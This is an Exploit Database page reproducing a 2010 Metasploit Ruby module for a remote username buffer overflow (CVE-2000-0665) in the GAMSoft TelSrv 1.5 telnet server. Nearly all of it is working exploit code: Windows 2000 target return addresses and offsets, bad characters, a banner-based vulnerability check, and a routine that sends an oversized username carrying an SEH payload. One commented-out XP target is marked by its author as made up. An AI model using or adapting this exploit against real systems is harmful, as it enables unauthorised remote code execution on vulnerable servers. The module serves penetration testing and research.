GAMSoft TelSrv 1.5 – ‘Username’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16816/

• ##
  # $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
  			'Description'	=> %q{
  					This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
  				Other versions may also be affected. The service terminates after exploitation,
  				so you only get one chance!
  			},
  			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
  			'Arch'		=> [ ARCH_X86 ],
  			'License' => MSF_LICENSE,
  			'Version'=> '$Revision: 9583 $',
  			'References'=>
  				[
  					[ 'CVE', '2000-0665'],
  					[ 'OSVDB', '373'],
  					[ 'BID', '1478'],
  					[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
  				],
  			'Privileged'		=> false,
  			'DefaultOptions'	=>
  				{
  					'EXITFUNC' 	=> 'thread',
  				},
  			'Payload'	=>
  				{
  					'Space'			=> 1000,
  					'BadChars' 		=> "\x00\x0a",
  					'StackAdjustment' 	=> -3500,
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP0/4 English REMOTE',
  						{
  							'Ret'		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
  							'Offset'	=> 1886,
  						}
  					],
  
  					[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
  						{
  							'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
  							'Offset'	=> 3318,
  						}
  					],
  
  					[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
  						{
  							'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
  							'Offset' 	=> 3358,
  						}
  					],
  =begin
  					[ 'Windows XP Pro SP0/1 English',
  						{
  							'Ret' 		=> 0x71aa32ad, # pop/pop/ret xp pro en ALL
  							'Offset'	=> 2600, # this is made up and absolutely wrong ;-)
  						}
  					],
  =end
  				],
  			'DisclosureDate' => 'Jul 17 2000',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(23),
  			], self.class)
  	end
  
  	def check
  		connect
  		print_status("Attempting to determine if target is vulnerable...")
  		select(nil,nil,nil,7)
  		banner = sock.get_once(-1,3)
  
  		if (banner =~ /TelSrv 1\.5/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
  		connect
  		print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
  		select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
  
  		username = rand_text_english(20000, payload_badchars)
  		seh = generate_seh_payload(target.ret)
  		username[target['Offset'], seh.length] = seh
  
  		print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
  		sock.put(username)
  		select(nil,nil,nil,0.25)
  		print_status('Exploit sent...')
  		handler
  		disconnect
  	end
  
  end